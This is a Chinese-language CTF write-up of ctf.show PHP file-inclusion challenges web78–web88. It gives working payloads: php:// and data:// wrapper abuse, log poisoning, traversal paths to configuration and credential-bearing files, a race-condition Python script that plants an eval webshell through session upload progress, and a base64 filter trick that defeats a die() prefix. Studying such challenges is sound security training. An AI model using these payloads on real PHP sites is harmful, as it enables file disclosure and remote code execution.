文件包含wp
在开始前先简单回顾文件包含漏洞原理及利用
文件包含原理及基本利用
在开发时一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。如果我们包含的参数没有被严格的过滤,当被包含恶意文件时,就会产生漏洞。
在php中产生文件包含漏洞的函数主要有四个
include()
include_once()
require()
require_once()
include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
对于其对于包含文件的位置的查找方式,详见PHP文档:include文档,这里只用知道他是干什么的就好了,
通过include文档可以看到:
文件包含支持封装协议,也就是说,我们可以通过在url中使用这些封装协议来完成更多的事情,这其中也就存在了很多的可以进行攻击的点
- 这是一方面,php伪协议的利用
支持的协议和封装协议 (文档)
这里有一个前人总结的部分方法:
一般来说就是这些进行利用,具体的应用以题目为例子来进行记录
包含日志
日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
注意 (1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log (2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了 (3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败 (4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志
常见的路径还有以下这些:
?file=.htaccess //包含同目录下的文件 ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db //linux中这两个文件储存着所有文件的路径,需要root权限 ?file=../../../../../../../../../var/log/apache/error.log //包含错误日志 ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf //获取web目录或者其他配置文件 ?file=../attachment/media/xxx.file //包含上传的附件
来源:博客
wp
web78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
没有进行任何的过滤,用上述协议都试一试
php://filter:
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=php://filter/read=convert.base64-encode/resource=index.php
发现可以,再将index.php改为flag.php即可拿到base64编码的flag.php进行解码即可。
php://input:
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=php://input
post------<?php phpinfo(); <?php phpinfo()?>
执行失败
这个方法失败,
data://
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=data://text/plain,<?php phpinfo();?>
http://718ef649-54c6-4ab7-83e5-51476fec8117.chall.ctf.show/?file=data://text/plain,<?php show_source('flag.php')?>
成功
web79
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
在上一道的基础上对php进行了过滤,php会被???进行替换,使用data协议进行base64编码后可得
http://9dcd379c-a3ee-40f8-a045-c23d9057bc9c.chall.ctf.show/?file=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsYWcucGhwJyk7
其中base64编码对应的是-------<?php show_source('flag.php');
最开始用<?php show_source('flag.php');?>输出错误,因为后面的?>没有被闭合,所以会有错误
使用<?php show_source('flag.php');?><?php 将其闭合也可以
尝试使用compress.bzip协议进行一次
http://9dcd379c-a3ee-40f8-a045-c23d9057bc9c.chall.ctf.show/?file=compress.bzip2://./flag.bz2
错误,不知道是我的问题还是这题不让这样做,先放一放。
web80
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
对php和data都进行了过滤,不再能使用上述协议进行,包含日志文件进行查看,首先先进行一个请求
http://47d4d5fc-b41c-49f1-b564-6f55ae480f18.chall.ctf.show/<?php phpinfo();?>
注意,这样上传会被编码,需要进行抓包绕过,将其放入UA头,也可以达到效果,后面就是这样做的
传phpinfo成功,getshell成功,先ls,可以看到flag在fl0g.php,
得到flag
在网上看到了另一种解法:
payload:?file=Php://
POST:<?php system('cat fl*');?
这里用hackbar无法传入,可以用burpsuite
没有进行实验,但应该是没问题的
web81
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
多过滤了:
.,用上一道的方法就可以的
web82
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
多过滤了点号.
,这样上一道的方法就不行了,因为access.log中的.
会被???替换,无法实现,查阅wp,使用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
,可以实现本题的解。在这里进行一个记录,主要参考文章
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
利用session.upload_progress进行文件包含和反序列化渗透
通过这些特性可以得出利用原理:利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置,具体原理如上图红框中所示
而在php.ini有以下几个默认选项
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session里有一个默认选项,session.use_strict_mode默认值为off。
此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
但是session.upload_progress.cleanup默认是开启的,一旦读取了所有的post数据,他就会清除进度信息,我们使用条件竞争来进行文件上传与文件包含,在文件上传没有完成的时候进行文件包含,执行我们的恶意代码。
session文件默认存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
进行一个简单梳理,在进行文件上传的时候(文件内容不重要),我们同时post传入与session.upload_progress.name同名的变量(变量名默认为PHP_SESSION_UPLOAD_PROGRESS),同时,我们自行设置一个cookie,即PHPSESSID,(cookie内容不重要)这时候,PHP会生成一个与我们PHPSESSID值相关的临时文件,即/tmp/sess_flag,(字符串flag是cookie的内容,可以自行改变)该文件的内容会被写入session.upload_progress.prefix+session.upload_progress.name两变量的值,而我们将session.upload_progress.name变量的值设置为了恶意代码。再通过条件竞争的文件包含包含该文件,即可执行恶意代码
接下来是本题的wp
首先建立一个文件上传,post请求的网页进行请求(这样方便点,也可以写脚本,我的python稀烂就这样做了)
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"><!--题目链接-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
提交抓包以后传入爆破(爆破是为了多次请求以能够条件竞争在文件上传时进行文件包含)
添加了cookie以及随便加了一个爆破点,因为cookie值为abc,所以知道文件包含的路径为/?file=/tmp/sess_abc,这时候再抓一个文件包含访问的包
同时开启爆破
可以看到文件包含成功了,ls出了fl0g.php,那么接下来重新修改system函数中内容为cat fl0g.php再爆破,即可得到flag
有一说一,真滴很秀这些姿势
除了抓包,还可以用脚本,下面是大佬们的脚本
import io
import sys
import requests
import threading
host = 'http://adc556a9-c7fc-45cc-a82a-76775620e81b.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},#这里的输出MD5编码的1,是用于后面读取的时候if判断是否成功成功执行了上述命令,也可以用别的方法进行判断
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:#这是1的MD5,如果出现,说明这一个response已经执行了我们想要的命令,
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
web83
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
可以看到有一点区别,就是多了session_destory()
session_destroy() 销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 session_start() 函数。
也就是说我们需要重新调用一次session_start()函数即可,在我们的请求页面加上即可
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"><!--题目链接-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
再按照上一题的方法即可解出
web84
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
会对tmp目录下文件进行删除,但依旧可以按照上一道的思路做,自己抓包爆破依然可以,没有受到rm -rf的影响,但肉眼可见,还是脚本更为简便,接下来还是要提升下编码能力啊
web85
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
- file_get_contents:将整个文件读入一个字符串
- strpos :查找字符串首次出现的位置
要求字符<
出现的位置必须在第一个,但其实没有啥影响,用脚本依旧可以跑过。抓包也可以过,也不清楚为什么没有被限制到
web86
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
反而去掉了一些限制,只是设置了include的path,还是跑脚本,抓包爆破都可以
web87
本题与之前的题不一样了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
在过滤了这些的基础上使用了file_put_contents函数
- file_put_contents–将一个字符串写入文件,第一个参数是文件名,第二个参数是写入的字符串(如果选择的文件不存在则创建一个该文件)
- 可以看到有url解码,我们可以进行url双编码绕过。
- 本题主要的点就是写入的语句是死亡语句,即会执行die,结束后面我们想要执行的传入的content的语句,所以使用php://filter对其进行绕过。具体可参见下面两篇文章
- 博客1博客2
主要就是使用php://filter对进行绕过,这里使用base64解码的方法,我们知道,base64解码只对a-z,A-Z,0-9进行解码,所以我们对这一条语句进行解码,那么具有php语句特征的<?>就没有了,这样就不会执行die,(也可以用别的方法,协议,比如rot13),我们要注意,base64解码是以4字节为一组,这里的php die共6个字节,需要自行添加两个才能使其正确解码不影响后面的正常语句解码,
我们需要使用filter协议write写入一个文件
php://filter/write=convert.base64-decode/resource=c.php #c.php是自己随意选的
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%32%65%25%37%30%25%36%38%25%37%30
这是两次url编码后的内容
同时开启post,传入参数content,
content=aa<?php phpinfo();?>
content=aaPD9waHAgcGhwaW5mbygpOyA/Pg==
这里加的aa就是为了与前面的phpdie结合凑够8个字符进行base64解码,后面的正常base64语句才能正常解码
上传后访问url/c.php:
说明成功
为了得到flag,用同样的方式传一个base64编码的一句话木马上去getshell,
直接访问,可以看到成功,现在再用post传参
查看源代码
这道题对死亡函数的绕过算是经典题型了,除了base64的方法也可以好好看看。
web88
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了很多东西,但没有对:
进行过滤,所以还是可以用伪协议。挺data即可,使用base64加密
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
#注意,因为对=和+有过滤,所以需要去掉base64编码后的=和+,
还剩两道,暂时就不看了,用到的知识更多一些,后面再来,文件包含先告一段落